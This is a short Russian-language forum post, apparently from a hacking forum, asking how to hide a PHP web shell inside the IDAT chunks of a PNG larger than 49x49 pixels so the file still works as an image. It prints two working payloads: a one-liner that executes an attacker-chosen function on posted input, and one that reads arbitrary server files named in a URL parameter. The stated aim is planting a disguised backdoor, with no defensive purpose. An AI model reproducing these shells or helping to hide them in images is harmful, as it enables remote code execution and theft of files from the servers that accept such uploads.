Есть данная статья Encoding Web Shells in PNG IDAT chunks | Application Security , там приведён код как вшить в IDAT чанк php код. Но этот код работает только для изображений до 49х49 размера. Нужно как то вшить shell в картинку большего размера, хотябы 60x60 впринципе подойдёт тот же

<?=$_GET[0]($_POST[1]);?>

, можно и такой впринципе

<?php echo file_get_contents($_GET['f']);?>

Кто нибудь разбирается или есть идея как такое реализовать? Не могу понять

 

Картинка отработает как картинка в любом случае (